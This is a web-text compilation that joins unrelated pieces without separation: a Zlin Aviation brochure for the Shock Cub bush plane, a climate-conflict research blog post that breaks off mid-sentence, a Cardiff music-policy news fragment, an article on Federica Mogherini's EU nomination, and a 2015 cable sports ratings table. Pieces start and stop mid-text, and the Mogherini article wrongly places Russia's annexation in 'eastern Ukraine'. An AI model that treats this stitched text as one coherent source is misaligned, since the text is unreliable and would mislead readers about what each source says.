After having constructed, sold and delivered around the world over the last 18 years hundreds of Savage aircraft, each one with its own specific personality, esthetic and performance range, it would seem unlikely that Zlin Aviation could manage to offer a new chapter to this varied and fascinating family of aircraft.
To reinvent oneself continually, to innovate, to fascinate and to formulate new, exciting performance features has always been important to our small but fierce and determined “skunk works” team. Anyone who has met us in person can certainly attest to, among other things, the presence of one great denominator and catalyst of “stream of consciousness”….: a passion for true “Bushflying”.
To continually study, to use the acquired knowledge from nearly 20 years of experience since the first flight test, to listen to our precious clientele, to re-imagine continually, ever avoiding the presumption to have reached the top (“Imagination is more important than knowledge”, said Albert Einstein), focusing our attention on all that Bushflying (understood as a way of being and living flight) offers and at the same time requires, enables us to proudly present today that which without a shadow of doubt is our maximum technical expression to date.
OUR VISION
What Bushflying is and what it represents, true, serious Bushflying, which permits thousands of pilots in Alaska to live, to work and to fly, professionally or recreationally, with maximum safety in unlimited nature which is rare in beauty but dangerous as well, is easily enough stated.
It is in the first place, in our “Vision”, an art. Our manufacturing company is situated in Europe, in an area which has much less of a tradition of this type of flight. But imagine a flight in a remote area, rich in fjords like Norway, or among the enchanting Swiss Alps or Italian Dolomites, or even over the endless and rugged Russian tundra, and you will understand how this art cannot be limited exclusively to any specific place.
To be able to land “anywhere”, by choice or for necessity (for example due to a technical problem), in ridiculously small spaces, with maximum safety, at very low speeds, with a landing system that enables you to overcome almost any obstacle, in a manner which is almost unknown among LSA’s and Ultra-lights currently present on the market, cannot be underestimated or reduced to a number of technical aspects. We are speaking of flying and operating on any territory with an effectiveness never before seen, in contact with nature, for any reason, whenever desired, and practically without limits, leaving the pilot free to follow and express even his most primordial instinct, with the greatest safety possible and with great versatility. We believe that a performance similar to the Shock Cub can be found only in a helicopter.
So for us, for our Vision, this style of flying is also “Art”. Flying art, but art nonetheless. The maximum velocity is not any longer the priority therefore, that the “minimum” velocity can become.
In Alaska in fact, you will never find pilots of the Piper Super Cub (the aircraft that alone represents at least 90% of the two-seater planes in use in bushflying) who are interested in the maximum velocity, but you will always only find pilots interested in the minimum velocity and in the take-off and landing distances. And it is from those magic numbers, from this hidden pleasure that only slow flight offers and from these technical necessities, that actual competitions in short take-off and landing have emerged (over all “Valdez” in Alaska), which are avidly followed. The specialized press tries its best to describe the take-off and landing distances of the performances and maneuvers in these competitions with words like “ridiculous”.
We at Zlin Aviation believe we belong to this category of pilots and airplanes, for which and for whom the maximum velocity figure is simply a number, whereas the minimum and approach velocities become a true “added value”.
But art isn’t enough. Poetry is not enough. The philosophy which surrounds this type of flight isn’t enough. Bushflying is a serious thing, very technical and if you’ve ever talked to someone who does it for a living, you will have realized what’s truly necessary and what isn’t, in order to have and to give the utmost, in absolute safety.
The framework first of all. Try asking yourself why more than 90% of the two-seater aircrafts in Alaska are made exclusively with tubes and fabric, “taildragger” configuration and tandem seats, the typical type of decades-old construction. When someone asks why Zlin Aviation still produces this kind of aircraft in 2016 (when the greatest number of aircraft produced in today’s market aim at maximum velocity, Carbonfiber, and ever further streamlined and exasperated shapes), he should just try to imagine having to land in extreme situations with airplanes that are not taildraggers, without the fundamental Bush tires and are constructed in aluminum, or worse, composites, incapable therefore to absorb even light impacts (certainly not much heavier ones) from obstacles on the ground, and so are practically irreparable by the pilot in case of damages to the outer covering, not at all a remote possibility, when flying “in the middle of nowhere”.
Imagine then that all this happens during a landing 500-600 kilometers from the nearest city where you are alone with your airplane, isolated from the rest of the world and you’ll understand why 90% of the pilots in Alaska, Africa and other remote regions operating two-seater aircraft in the bush, use only and exclusively this type of arrangement. These pilots know what is truly necessary and they don’t want to hear about other formulas, for a simple reason: the magic formula already exists and it has shown itself to be the winning one for decades. And every error or experiment in other directions could be very risky.
So, certainly this type of flying has its poetic and artistic undertones, but the technical and structural aspects must never be neglected, if we truly want to practice this wonderful type of flight.
Our long experience in this sector and the continuous evolution in materials, in aerodynamics and in the formulas and techniques of super slow approach flying, have enabled us then, to construct that which represents for us the maximum expression of the concepts of bushflying, applied to the LSA and ultra-light market, in an attempt also to offer to pilots in other nations that which represents the height of the technology reached in this sector today.
THE NEW FUSELAGE FRAMEWORK
Since the beginning we proceeded from the optimal Savage Cub-S, reinforcing and refining the Fuselage Framework, increasing by several centimeters the cockpit height, improving the accessibility and the general ergonomics on board, which now is more advantageous. We have increased the surface of the already generous Cub-S Elevator and Rudder, fundamental elements in the “ultraslow” flight. The Stabilizer vertical travel, due to the new Jack Screw Trim System, has been increased to balance the new Hyper Stol Wing angle of incidence. Finally a series of optionals aimed to a weight reduction up to 25 kg are available since now for our new Airplane as for all the other Savage. Since today, on request, the Cockpit can be decorated with Carbonfiber datails, such as, Instrument Panel, the new Floorboards, the Kevlar reinforced light weight Seats. New Throttle levers are installed in the baseline. The basic Engine Mount for the Rotax is a dynafocal type and the Engine Cowling can accommodate up to 180 hp engines such as Lycoming / Titan or other make, on request.
THE NEW LANDING GEAR
The Landing Gear is totally new, already reinforced in the basic series and is equipped with ultra-performing Shock Absorbers in three points. The Front and Rear Suspensions innovative Design shows an unimaginable shock absorbing capability and the Drop Tests have shown that with a weight of 1000 kg and an height of 120 centimeters the structure keeps its full integrity. Landing on a bumpy surface it will never be, since today, easier. The Landing gear position has been generously moved forward to allow an exceptional breaking capability without the risk of overturning. The weight increase due to this improvement versus the Cub S is very small ( 4 kg about).
THE NEW WING
The Wing is totally new and, obviously, is one of the most important feature of this new Airplane. The new Wing is equipped with new customized Hyper Stol profile. The new Spars, together with many other structural improvements, have allowed us to test the wing up to above 700 Kg MTOW x 6g (Ultimate Load) with no residual permanent deformations. The attachments to the Fuselage have been radically revised and structurally improved. The wing tip is shaped for the best contribution to Lift in its area and, on request, is available also in Carbonfiber. Its contour allows the Ailerons to keep their efficiency to extremely low speed. It’s also under study an innovative Spoiler System to improve the roll control below 40 km/h speed. The innovative new “Double Slotted” Flaps, with a surface 70% larger than the baseline, can be equipped, on request, with our in house developed mini vortex installed inside the vane. The new Wing, equipped with the innovative Double Slotted Flaps, has made possible to increase tremendously the Lift Coefficient providing excellent performance in landing. The pitching Moment generated by the New Flaps allows the Pilot to “see” exactly the landing area, as the nose will be lower than usual, with the final positive consequence of an improved safety for this kind of flying. The Ailerons surface as been increased by 40% to allow the Pilot to keep full control authority at extremely low speed at the approach / stall. The Wing Braces sections have been beefed up where necessary and the weight increase, including all the structural improvements, is limited to 7 kg per wing. The Fuel Tanks capacity has been increased to 110 liter (on request). The new Wing, can be equipped with extra light Carbonfiber Slats with a total weight increase of less than 5 kg (optional). This device has been extensively developed and tested in Alaska with the aim of minimizing the Cruise Speed reduction (-3 mph) and, at the same time, through pivoting according to the airflow, slowing down the Airplane to unbelievably low speed. Being fixed and not extendable with spring mechanism, there is not risk of having an half Wing with Slats extended and an half Wing with Slats retracted at the approach, in turbulence, during turning or sideslip, or near the ground. With the Slats a different type of landing can be performed, with the nose very high on the horizon, ridiculous approach speed and contact with the ground with the tail wheel first. This type of landing, defined by us as “competition”, allows spectacular and ultra short stopping spaces, since the Pilot, adequately trained, can contact the ground with pre-activated brakes, thanks to the new forward position of the Main Landing Gear which will avoid any tendency to the overturning. The braking action will also by amplified by the Main Landing Gear damping System which, dissipating the energy due to the high vertical deceleration, will subtract longitudinal kinematic energy to the Airplane and reduce to a minimum the necessary landing distance. With just a relatively small head wind it will be possible to have virtually vertical landings which make the Airplane even safer in its natural habitat. Finally is very important, in the Bushflying and in this kind of landing, the general visibility. This is why the Pilots tandem configuration is believed by the professionals to be the one really valid in extreme conditions and it is not difficult to get an understanding of the reason.
SAFETY FIRST OF ALL
The new Slats make spin, in practice, almost impossible, while make easy to control and less dangerous stall. In fact the Shock Cub stall is so unnatural and its stall angle of attack is so high that would never be reached by chance or by error at the approach. All this becomes an additional safety for the Pilot. From this standpoint, in fact, if to an aerodynamic profile “spin proof” are added a structurally improved Wing, a Fuselage structure more robust, an iper-energy absorbing Landing gear and well sized Bush Wheels, besides of really small landing spaces, the Pilot will benefit of a favorable situation in all the most critical phases of flight, namely approach and landing, independently from the kind of flight, standard or extreme Bush Flying, or from his ability. Finally, in the remote instance of a descent with the optional ballistic parachute, the impact will be less problematic because of the Airplane damping system, a factor that should not to be undervalued. Our new Shock Cub offer this and much more. We could have illustrated it helping your fantasy visualizing operative situations full of emotions but we choose to leave to each one of you the freedom of imagining, after this reading, the infinite possibilities that this new Zlin Aviation Airplane will offer you and not to take away from you the taste of imagining these innumerable, but never the same, scenarios following your preferences and wishes.
Shock Cub represents for sure, to conclude, a new way in the world of the “Ultra Slow” but not forgetting the possibility of enjoying a respectable Cruise Speed when is needed for moving from “a dream to the next one” in your Flight Plan. All fine, in fact, “Who cares about speed? Nothing is like a Shock Cub!”.January 18, 2014 — andyextance
After researchers last year went through every paper linking climate changes and human violence, finding a strong connection, new findings suggest that one rare study disagreeing used the wrong maths. Kyle Meng from Princeton University in New Jersey and Solomon Hsiang from the University of California, Berkeley, now hope they’ve settled previous conflicts over the climate-conflict link. “We think this allows the community to move forward onto what I believe are the next set of important questions,” Kyle told me. “Why exactly does climatic change affect violence and what can we do to lessen the effects of climate on violence?”
In last year’s paper, Solomon and his Berkeley colleagues Ted Miguel and Marshall Burke brought together 45 sets of evidence spanning 10,000 years. Reanalysing worldwide measurements from scratch they found that 2°C global temperature rise could make conflicts like civil wars more than 50% more common in many parts of the world.
One paper that didn’t fit with their findings had been published in 2010 by Halvard Buhaug at the Peace Research Institute Oslo, Norway. Halvard’s study used the same data as a 2009 paper that found a climate-conflict link in Africa, written in 2009 by a team including Ted and Marshall. However, Halvard used different models indicating that political and economic factors were more important and that climate was ‘not to blame’.
Halvard’s argument revolves around a mathematical ‘robustness check’ into the statistics used by the 2009 paper. Such checks are common in social science, Kyle explained. “However, it is important to note that not all robustness checks are valid,” he said. “In general, robustness checks are designed to examine whether, given a particular outcome, a statistical model may be producing biased results, such as when improper comparisons are being made amongst observations.”
War by numbers
In a Proceedings of the National Academy of Sciences of the USA paper published Monday, Kyle and Solomon argue Halvard’s checks actually increase bias. Their first criticism is that the statistical models he uses overlook differences between countries in the original study and assume they’re all the same. And Halvard then looks at different ways to measure the conflicts that climate might affect. In the original 2009 paper, Ted and Marshall’s team had counted years during which there has been conflict in a country. But they had only looked at large conflicts, with over 1,000 casualties in a year, missing out civil wars like the one in Sierra Leone between 1991 and 2000. So Halvard included conflicts with at least 25 battle deaths a year.
But there’s a big probability difference between the two measures, with wars causing over 1,000 deaths happening only once a century per country in Africa. Conflicts causing at least 25 deaths happen every four years per country. Kyle and Solomon argue that probability difference needed to be considered in Halvard’s |
Cardiff means business when it comes to music. Exciting times are here.”
Council leader Huw Thomas said: “Music is an incredibly powerful force for good in our everyday lives, but more than this, it has the power to shape cities, particularly ones with the distinctive cultural offering that we have here in Cardiff.
“That’s why this announcement is such great news, not just for musicians and concert-goers, but for everyone who wants to see Cardiff develop its international profile, make the most of its potential and become a truly great world capital.”
(Image: Richard Swingler)
Sound Diplomacy CEO Shain Shapiro said: “It’s an honour and a responsibility to be working with Cardiff council to add up, measure and assess the music infrastructure across the city.
“The council have shown through their efforts on Womanby Street and their increased engagement in music that to them, music is of economic, social and cultural benefit to the city. We take this incredibly seriously, and will work to develop a music policy that musicians, businesses and residents can benefit from and be proud of.
Coun Thomas added: “Our work with Sound Diplomacy will go a long way towards protecting the future of music in Cardiff, but it will also go further, harnessing the power of the city’s musical past, and its future, to help drive regeneration, strengthen communities and benefit the economy.”
Find out more about the party taking place on Womanby Street to celebrate the signing of Cardiff Music City deal HERE
Find out more about Sound Diplomacy at: www.sounddiplomacy.comItaly is pushing its foreign minister, who has been in her job just five months, as the European Union’s new foreign policy chief, amid deep scepticism from some members of the bloc over whether she has the necessary experience and grit.
The choice of Federica Mogherini, who was plucked from relative obscurity earlier this year by prime minister Matteo Renzi to serve in his cabinet, will only reinforce British suspicions about the opaque way in which top EU posts are filled.
If appointed as High Representative for Foreign Affairs, she will succeed Catherine Ashton, who was also heavily criticised for her inexperience.
Mrs Mogherini, who is married with two young daughters, was only made Italy’s foreign minister in February, when Mr Renzi effectively staged an internal coup and deposed Enrico Letta, a member of his own centre-Left Democratic Party, as prime minister.
Critics say the 41-year-old has not had nearly enough experience to fill the top European foreign affairs job and that Italy in general is too soft on Russia and too close to Vladimir Putin, in part because of its reliance on Russian natural gas for its energy supplies.
Poland, the Baltic republics and other countries in Eastern Europe are all said to be suspicious of Italy’s close trade and energy relationship with Moscow and opposed to Mrs Mogherini’s appointment.
Some Eastern European member states feel she has taken too conciliatory line with Moscow over the crisis in Ukraine.
After Italy’s EU presidency began on July 1, her first foreign trip included a visit to Moscow, where she met Mr Putin and invited him to an event in Italy in October.
Her conciliatory comments on Russia’s illegal annexation of eastern Ukraine were given a welcome reception by Itar-Tass, the state-run news agency.
So far, the only state to come out publicly against her nomination is Lithuania. “The Italian foreign minister’s candidacy will not be supported,” Algirdas Butkevicius, the Lithuanian prime minister, said on Tuesday.
Up to 11 countries are fighting her being given the top job, sources close to Jean-Claude Juncker, the new president of the European Commission, told Italy’s Ansa news agency.
The possible appointment is regarded as a political balancing act under which Mr Juncker, from the centre-Right, was given the president’s job while Mrs Mogherini, from the centre-Left, is made foreign affairs representative.
She is one of a group of young women appointed by Mr Renzi and is regarded in Rome as hard-working and conscientious.
She was a little-known MP for six years before being made foreign minister. She writes a blog which she calls “BlogMog” – a play on her surname.
Proficient in English and French, and with a working knowledge of Spanish, she graduated from Rome's Sapienza University with a degree in political science.
She wrote a thesis on politics and Islam after a stint at the Institute for Research and Studies on the Arab World in Aix-en-Provence.
Before being made foreign minister she held several foreign policy positions within the Democratic Party.Cable Sports TV Ratings for Wednesday September 30, 2015:
This is sorted from most-watched to least-watched. Using your browser’s search tool (usually CTRL/CMD+F) might be the faster way to go if you’re looking for something specific.
Note to readers using mobile phones: on most phones the tables are easier to read/scroll through if you tilt your phone to landscape orientation.
Program Net Episode Start End Viewers (000) 18-49 Rtg PARDON THE INTERRUPTION ESPN 5:30 PM 6:00 PM 983 0.5 MLB MON NIGHT ESPN ST. LOUIS/PITTBURGH 7:00 PM 10:09 PM 741 0.3 AROUND THE HORN ESPN 5:00 PM 5:30 PM 686 0.3 MLB WED NIGHT ESPN LA DODGERS/SAN FRANCISCO 10:09 PM 12:51 AM 674 0.2 HIGHLY QUESTIONABLE ESPN 4:30 PM 5:00 PM 625 0.3 NFL LIVE L ESPN 3:30 PM 4:30 PM 586 0.2 ULTIMATE FIGHTER FS1 504:A FAITHLESS FOE 10:00 PM 11:00 PM 538 0.3 SPORTSCENTER EARLY L ESPN 6:00 PM 7:00 PM 522 0.2 SPORTSCENTER 1AM L ESPN 12:51 AM 2:00 AM 494 0.2 NFL INSIDERS L ESPN 2:30 PM 3:30 PM 483 0.3 FIRST TAKE L ESPN2 10:00 AM 12:00 PM 435 0.2 SPORTSCENTER MORNING L ESPN 2:00 AM 3:00 AM 403 0.2 SPORTSCENTER AM L ESPN 11:00 AM 11:59 AM 385 0.2 SPORTSCENTER AM L ESPN 10:01 AM 11:00 AM 367 0.2 POKER ESPN2 2015 WSOP 10:00 PM 11:00 PM 361 0.1 FIRST TAKE ESPN2 1:00 PM 2:30 PM 356 0.2 COLLEGE FOOTBALL LIVE L ESPN 2:00 PM 2:30 PM 342 0.2 US OPEN CUP SOCCER L ESPN2 PHILADELPHIA/SPORTING KANSAS CITY 7:00 PM 10:00 PM 333 0.2 SPORTSCENTER AM L ESPN 9:00 AM 10:01 AM 330 0.2 SPORTSCENTER AM L ESPN 1:00 PM 2:00 PM 323 0.2 HIS & HERS L ESPN2 12:00 PM 1:00 PM 321 0.1 SPORTSCENTER AM L ESPN 11:59 AM 1:00 PM 319 0.2 UCL GROUP STAGE L FS1 MAN UTD/WOLFSBURG 2:30 PM 5:00 PM 307 0.2 SPORTSCENTER MORNING ESPN 8:00 AM 9:00 AM 304 0.1 SPORTSCENTER MORNING ESPN 6:00 AM 7:00 AM 284 0.1 MIKE & MIKE IN THE MORN L ESPN2 6:00 AM 10:00 AM 272 0.1 SPORTSCENTER MORNING ESPN 7:00 AM 8:00 AM 247 0.1 SPORTSCENTER 12AM L ESPN2 12:00 AM 1:00 AM 245 0.1 INSIDE THE NFL NFLN INSIDE THE NFL 9:00 PM 10:30 PM 234 0.1 UEFA CL GROUP STAGE FOXD MALMO FF VS REAL MADRID CF 2:30 PM 4:40 PM 222 0.1 FOOTBALL LIFE NFLN DEXTER MANLEY 8:00 PM 9:00 PM 220 0.1 LIGA MX L UDN TIGRES / PUEBLA 9:54 PM 12:00 AM 215 0.1 NFL TOTAL ACCESS NFLN NFL TOTAL ACCESS 7:00 PM 8:00 PM 199 0.1 SOUND FX NFLN 2015 – WEEK 3 10:30 PM 11:00 PM 199 0.1 INSIDE THE NFL NFLN INSIDE THE NFL 12:00 AM 1:30 AM 190 0.1 SPORTSCENTER LATE L ESPN2 11:00 PM 12:00 AM 188 0.1 AFTERNOON BASEBALL GAME MLBN STL AT PIT 1:30 PM 4:22 PM 179 0.0 ULTIMATE FIGHTER FS1 503:RECOGNIZE THE ENEMY 9:00 PM 10:00 PM 176 0.1 NFL FANTASY LIVE NFLN NFL FANTASY LIVE 5:00 PM 6:00 PM 173 0.1 NFL TOTAL ACCESS NFLN NFL TOTAL ACCESS 11:00 PM 12:00 AM 173 0.1 AROUND THE NFL NFLN AROUND THE NFL 6:00 PM 7:00 PM 172 0.1 SOUND FX NFLN 2015 – WEEK 3 1:30 AM 2:00 AM 172 0.1 NASCAR RACE HUB L FS1 405 6:00 PM 7:00 PM 170 0.0 MOBSTEEL NBCSN 108 10:00 PM 11:00 PM 158 0.0 AFTERNOON BASEBALL/JIP MLBN MIN AT CLE/TOR AT BAL 4:22 PM 7:17 PM 150 0.1 MLB TONIGHT BP MLBN MLBT BP 7:17 PM 8:00 PM 150 0.0 NFL FANTASY LIVE NFLN NFL FANTASY LIVE 2:00 AM 3:00 AM 141 0.1 MLB TONIGHT PRIME MLBN MLB TONIGHT 8:00 PM 1:00 AM 138 0.0 SPORTSNATION ESPN2 6:00 PM 7:00 PM 133 0.1 BASEBALL TONIGHT L ESPN2 1:00 AM 2:00 AM 131 0.1 FOX SPORTS LIVE L FS1 1824 11:00 PM 12:00 AM 131 0.1 NFL TURNING POINT NBCSN 503 11:00 PM 11:30 PM 124 0.0 UFC TONIGHT FS1 88 8:00 PM 9:00 PM 123 0.0 WMNS COLL VBALL REG SSN L ESPNU TEXAS A&M/AUBURN 9:28 PM 10:26 PM 120 0.0 MLB WHIPAROUND L FS1 231 7:00 PM 8:00 PM 115 0.0 SPORTSCENTER PRIME L ENN 8:00 PM 9:00 PM 113 0.0 UEFA CHMP LEAGUE SOCCER L ESPN2 JUVENTUS/SEVILLA 2:30 PM 4:41 PM 112 0.1 COLLEGE FOOTBALL LIVE ENN 11:30 PM 12:00 AM 105 0.0 SPORTSCENTER PRIME L ENN 10:00 PM 11:00 PM 104 0.0 GARBAGE TIME KATIE NOLAN FS1 24 12:00 AM 12:30 AM 101 0.1 ULTIMATE FIGHTER FS1 504:A FAITHLESS FOE 1:00 AM 2:00 AM 100 0.1 SPORTSCENTER AFT L ENN 5:00 PM 6:00 PM 90 0.0 CONTACTO DEPORTIVO UDN 12:00 AM 1:00 AM 90 0.0 COLLEGE FOOTBALL LIVE ENN 11:00 PM 11:30 PM 88 0.0 POKER ENN 2015 WSOP MAIN EVENT 9:00 PM 10:00 PM 87 0.0 BASEBALL TONIGHT L ESPN2 5:00 PM 5:30 PM 85 0.0 MISSION OCTOBER FS1 A ROYAL FLUSH 5:00 PM 5:30 PM 83 0.1 G3 SPORTSMAN TV NBCSN 12:30 PM 1:00 PM 83 0.0 E:60 ENN MIRACLE AT MICHIGAN 12:00 AM 1:00 AM 81 0.0 FANTASY FOOTBALL LIVE NBCSN 6:30 PM 7:00 PM 81 0.0 NFL FILMS PRESENTS FS1 FULL OF SURPRISES 12:30 AM 1:00 AM 79 0.1 NFL HQ NFLN NFL HQ 8:00 AM 10:00 AM 79 0.0 UEFA CL GROUP STAGE FOXD PFC CSKA MOSKVA VS PSV EINDHOVEN 4:40 PM 6:43 PM 77 0.0 MOBSTEEL NBCSN 107 9:00 PM 10:00 PM 77 0.0 OTL ESPN2 5:30 PM 6:00 PM 76 0.0 MOBSTEEL NBCSN 108 12:00 AM 1:00 AM 76 0.0 PRO FOOTBALL TALK NBCSN 11:30 PM 12:00 AM 76 0.0 QUICK PITCH MLBN QP 1A 1:00 AM 2:01 AM 73 0.0 ESPN FC L ESPN2 4:41 PM 5:00 PM 72 0.0 NASCAR AMERICA NBCSN 5:00 PM 6:00 PM 72 0.0 SPORTSCENTER PRIME L ENN 7:00 PM 8:00 PM 69 0.0 NASCAR SCAN ALL 43 NBCSN 121 4:30 PM 5:00 PM 67 0.0 NFL REPLAY NFLN 2015 WK 3 – IND VS. TEN 4:00 PM 5:00 PM 66 0.0 NFL HQ NFLN NFL HQ 10:00 AM 12:00 PM 63 0.0 UCL PREGAME L FS1 78 2:00 PM 2:30 PM 62 0.0 MOBSTEEL NBCSN 106 8:00 PM 9:00 PM 62 0.0 MIKE & MIKE IN THE MORN ENN 10:00 AM 1:00 PM 60 0.0 HIGH HEAT MLBN HIGH HEAT 1:00 PM 1:30 PM 57 0.0 BIG RED RACER NBCSN 103 3:00 PM 4:00 PM 57 0.0 NFL FILMS PRESENTS FS1 FULL OF SURPRISES 5:30 PM 6:00 PM 56 0.0 FEHERTY GOLF NICK SABAN 9:00 PM 10:00 PM 56 0.0 LUCAS OIL MOTORSPORT HOUR NBCSN 2:00 PM 3:00 PM 56 0.0 RACERTV NBCSN 4:00 PM 4:30 PM 55 0.0 MLB CENTRAL MLBN MLB CENTRAL 10:00 AM 1:00 PM 54 0.0 MOBSTEEL NBCSN 107 1:00 AM 2:00 AM 54 0.0 NFL TOTAL ACCESS NFLN NFL TOTAL ACCESS 7:00 AM 8:00 AM 54 0.0 FISHING W ROLAND MARTIN NBCSN 12:00 PM 12:30 PM 53 0.0 UFC FS1 PRELIMS FS2 BARNETT/NELSON 12:00 PM 2:00 PM 52 0.0 WMNS COLL VBALL REG SSN L ESPNU IOWA STATE/OKLAHOMA 7:00 PM 9:28 PM 51 0.0 NFL TOTAL ACCESS NFLN NFL TOTAL ACCESS 6:00 AM 7:00 AM 51 0.0 UCL GROUP STAGE PREVIA FOXD 1:57 PM 2:30 PM 50 0.0 CHAMPIONS TOUR LRNG CTR GOLF 3:30 PM 4:00 PM 50 0.0 DAN PATRICK SHOW NBCSN 9:00 AM 12:00 PM 49 0.0 US OPEN CUP UDN PHILADELPHIA UNION / SPORTING KC 7:00 PM 9:54 PM 48 0.0 ESPN FC ENN 6:00 PM 6:30 PM 47 0.0 INSIDE THE PGA TOUR GOLF 3:00 PM 3:30 PM 47 0.0 NFL TURNING POINT NBCSN 503 2:00 AM 2:30 AM 47 0.0 COPA SUD RD OF 16 FOXD LDU QUITO VS RIVER PLATE 6:43 PM 9:00 PM 46 0.0 SPORTSCENTER AFT L ENN 4:00 PM 5:00 PM 45 0.0 FLW OUTDOORS NBCSN 1:00 PM 2:00 PM 45 0.0 UCL GROUP STAGE L FS2 BORUSSIA MONCHENGLADBACH/MAN CITY 2:30 PM 5:00 PM 44 0.0 COLLEGE FOOTBALL LIVE ENN 6:30 PM 7:00 PM 43 0.0 GCA SCHOOL OF GOLF GOLF 8:00 PM 9:00 PM 43 0.0 SHAQ NBAT SHAQTIN A FOOL: OLD SCHOOL 7:00 PM 7:30 PM 42 0.0 SHAQ NBAT SHAQTIN A FOOL: SEASON FINALE 14-15 7:30 PM 8:00 PM 42 0.0 UNIVISON DEPORTES FC UDN 1:00 AM 2:00 AM 42 0.0 ESPN ORIGINAL DOCUMENTARY ESPNU SEC STORIED: IN SEARCH OF DERRICK THOMAS 4:00 PM 5:00 PM 41 0.0 FEHERTY GOLF NICK SABAN 12:00 AM 1:00 AM 41 0.0 UFC ULTIMATE INSIDER FS2 CORMIER/EVANS/WOODLEY 5:00 PM 5:30 PM 40 0.0 LA ULTIMA PALABRA FOXD 12:00 AM 1:00 AM 39 0.0 SUPER BOWL CLASSICS NFLN SB XIV – PIT VS. LA 12:00 PM 3:00 PM 39 0.0 UFC FROM ALL ANGLES FS2 DANIEL CORMIER 5:30 PM 6:00 PM 38 0.0 COLLEGE FOOTBALL LIVE ESPNU 6:00 PM 6:30 PM 37 0.0 UEFA CL GROUP STAGE FOXD ASTANA VS GALATASARAY 11:53 AM 1:57 PM 37 0.0 UEFA CL GROUP STAGE PRIME FOXD MALMO FF VS REAL MADRID CF 9:00 PM 11:00 PM 37 0.0 FEHERTY GOLF LIVE 2016 RYDER CUP CAPTAINS 11:00 AM 12:00 PM 37 0.0 GOLF CENTRAL GOLF 6:00 PM 7:00 PM 37 0.0 MOBSTEEL NBCSN 105 7:00 PM 8:00 PM 37 0.0 CFB DAILY ENN 6:00 AM 7:30 AM 36 0.0 HERD L FS1 22 12:00 PM 2:00 PM 36 0.0 UCL PREGAME L FS2 78 2:00 PM 2:30 PM 36 0.0 E:60 ESPNU 10:26 PM 11:00 PM 35 0.0 REAL TRAINING CAMP NBAT 2015 MILWAUKEE BUCKS 11:00 PM 12:30 AM 35 0.0 SPORTSCENTER AM L ENN 2:00 PM 3:07 PM 34 0.0 CENTRAL FOX US FOXD 11:00 PM 12:00 AM 34 0.0 GOLFING WORLD GOLF 5:00 PM 5:30 PM 34 0.0 REAL TRAINING CAMP NBAT 2015 MILWAUKEE BUCKS 8:00 PM 9:30 PM 34 0.0 COLLEGE FOOTBALL REPEAT ESPNU TENNESSEE/FLORIDA 1:00 PM 4:00 PM 33 0.0 MORNING DRIVE GOLF 9:00 AM 10:00 AM 33 0.0 MORNING DRIVE GOLF 10:00 AM 11:00 AM 33 0.0 PRO FOOTBALL TALK NBCSN 6:00 PM 6:30 PM 33 0.0 COLLEGE FOOTBALL LIVE ESPNU 5:30 PM 6:00 PM 32 0.0 QUICK PITCH MLBN QP 7A 7:00 AM 8:00 AM 32 0.0 CHAMPIONSHIP DRIVE ENN POWER HOUR 8:00 AM 9:00 AM 31 0.0 ESPNU FILM ROOM ENN BCS NATIONAL CHAMPIONSHIP 1:00 AM 1:30 AM 31 0.0 RUSSILLO & KANELL L ENN 1:00 PM 2:00 PM 31 0.0 COURTSIDE CINEMA ON NBATV NBAT BAD BOYS 12:30 AM 2:30 AM 31 0.0 OPEN COURT NBAT 303 – FAN TAKEOVER 5:00 PM 6:00 PM 30 0.0 BIG 12 WEEKLY ESPNU 5:00 PM 5:30 PM 29 0.0 FEHERTY GOLF STEVE SPURRIER 7:00 PM 8:00 PM 29 0.0 GOLF CENTRAL GOLF 11:00 PM 12:00 AM 29 0.0 PRO FOOTBALL TALK NBCSN 2:30 AM 3:00 AM 29 0.0 CATCHING ODELL NFLN CATCHING ODELL 3:00 PM 4:00 PM 29 0.0 SPORTSCENTER AFT L ENN 3:07 PM 4:00 PM 28 0.0 COLLEGE FOOTBALL REPEAT ESPNU TEXAS A&M/MISSISSIPPI STATE 6:30 AM 9:00 AM 28 0.0 FEHERTY GOLF STEVE SPURRIER 4:00 PM 5:00 PM 28 0.0 JUNIOR PGA CHP H/L GOLF 2015 12:30 PM 1:30 PM 28 0.0 ESPN ORIGINAL DOCUMENTARY ESPNU SEC STORIED: IN SEARCH OF DERRICK THOMAS 11:00 PM 12:00 AM 27 0.0 FOX SPORTS LIVE L FS1 1825 2:00 AM 3:00 AM 27 0.0 GCA SCHOOL OF GOLF GOLF 1:00 AM 2:00 AM 27 0.0 INSIDE THE PGA TOUR GOLF 1:30 PM 2:00 PM 27 0.0 MORNING DRIVE GOLF 8:00 AM 9:00 AM 27 0.0 REAL TRAINING CAMP NBAT 2015 MINNESOTA TIMBERWOLVES 9:30 PM 11:00 PM 27 0.0 E:60 ENN 9:00 AM 10:00 AM 26 0.0 ULTIMATE FIGHTER FS2 502:CROWDED HOUSE 6:00 PM 7:00 PM 26 0.0 ULTIMATE FIGHTER FS2 503:RECOGNIZE THE ENEMY 7:00 PM 8:00 PM 26 0.0 EURO TOUR WEEKLY GOLF 5:30 PM 6:00 PM 26 0.0 FEHERTY GOLF LIVE 2016 RYDER CUP CAPTAINS 2:00 PM 3:00 PM 26 0.0 QUICK PITCH MLBN QP 9A 9:00 AM 10:00 AM 26 0.0 OPEN COURT NBAT 401-NBA 50 GREATEST & THE NEXT 10 4:00 PM 5:00 PM 25 0.0 REAL TRAINING CAMP NBAT 2015 MILWAUKEE BUCKS 2:00 PM 4:00 PM 25 0.0 UCL GROUP STAGE D FS2 MALMO/REAL MADRID 8:00 PM 10:00 PM 24 0.0 FEHERTY GOLF NICK SABAN 10:00 PM 11:00 PM 24 0.0 QUICK PITCH MLBN QP 6A 6:00 AM 7:00 AM 24 0.0 QUICK PITCH MLBN QP 8A 8:00 AM 9:00 AM 24 0.0 COLLEGE FTBL FEATURED ENN 1:30 AM 2:00 AM 23 0.0 FOX SPORTS LIVE: CNTDWN FS1 1822 7:00 AM 8:00 AM 23 0.0 ULTIMATE FIGHTER FS2 503:RECOGNIZE THE ENEMY 11:00 AM 12:00 PM 23 0.0 COLLEGE FOOTBALL LIVE ENN 2:30 AM 3:00 AM 22 0.0 NBA SPECIAL NBAT 1-ON -1 W A. RASHAD: 14-15 2 2:30 AM 3:00 AM 22 0.0 COLLEGE FOOTBALL LIVE ENN 2:00 AM 2:30 AM 21 0.0 UCL HIGHLIGHTS FS2 68 12:00 AM 1:00 AM 21 0.0 DAN LE BATARD SHOW L ESPNU 10:00 AM 1:00 PM 20 0.0 ULTIMATE FIGHTER FS2 502:CROWDED HOUSE 10:00 AM 11:00 AM 20 0.0 INSIDE THE PGA TOUR GOLF 12:00 PM 12:30 PM 20 0.0 